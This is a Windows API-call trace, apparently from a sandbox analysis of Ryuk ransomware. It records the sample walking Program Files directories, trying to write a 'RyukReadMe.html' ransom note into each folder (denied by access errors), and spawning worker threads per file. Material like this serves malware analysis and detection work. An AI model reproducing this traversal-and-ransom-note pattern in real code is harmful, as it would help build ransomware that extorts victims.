	[0188.780] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x40, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1
	[0188.781] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x40, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0
	[0188.781] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0188.781] SetLastError (dwErrCode=0x0) 
	[0188.781] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.781] GetLastError () returned 0x5
	[0188.781] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0188.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.782] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa39cc2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa39cc2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0188.782] SetLastError (dwErrCode=0x0) 
	[0188.782] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.782] GetLastError () returned 0x5
	[0188.782] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0188.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa39cc2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa39cc2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0188.783] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa39cc2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa39cc2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0188.783] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0188.783] SetLastError (dwErrCode=0x0) 
	[0188.783] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.783] GetLastError () returned 0x5
	[0188.784] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0188.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x64, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0188.786] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x64, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0188.786] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x64, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1
	[0188.786] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x64, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1
	[0188.787] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x64, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1
	[0188.787] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x64, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1
	[0188.787] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x64, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1
	[0188.787] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x64, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1
	[0188.787] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x64, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1
	[0188.787] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x64, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1
	[0188.787] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x64, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1
	[0188.787] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x64, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0
	[0188.787] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0188.790] SetLastError (dwErrCode=0x0) 
	[0188.790] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.802] GetLastError () returned 0x5
	[0188.802] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0188.802] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.802] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x40, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1
	[0188.802] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x40, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1
	[0188.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf5c
	[0188.805] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.806] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x40, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1
	[0188.806] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x40, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1
	[0188.806] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x40, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1
	[0188.806] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x40, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1
	[0188.806] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x40, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1
	[0188.806] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x40, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1
	[0188.806] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x40, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1
	[0188.819] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x40, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1
	[0188.819] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x40, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1
	[0188.819] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x40, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1
	[0188.819] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x40, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1
	[0188.819] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x40, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1
	[0188.820] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f2b190, ftCreationTime.dwHighDateTime=0x1d53b80, ftLastAccessTime.dwLowDateTime=0x3d64b910, ftLastAccessTime.dwHighDateTime=0x1d586c8, ftLastWriteTime.dwLowDateTime=0x3d64b910, ftLastWriteTime.dwHighDateTime=0x1d586c8, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1
	[0188.820] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x40, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1
	[0188.820] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0188.820] SetLastError (dwErrCode=0x0) 
	[0188.820] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.821] GetLastError () returned 0x5
	[0188.821] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0188.821] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x64, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0188.822] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x64, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0188.822] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x64, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1
	[0188.823] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf64
	[0188.826] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
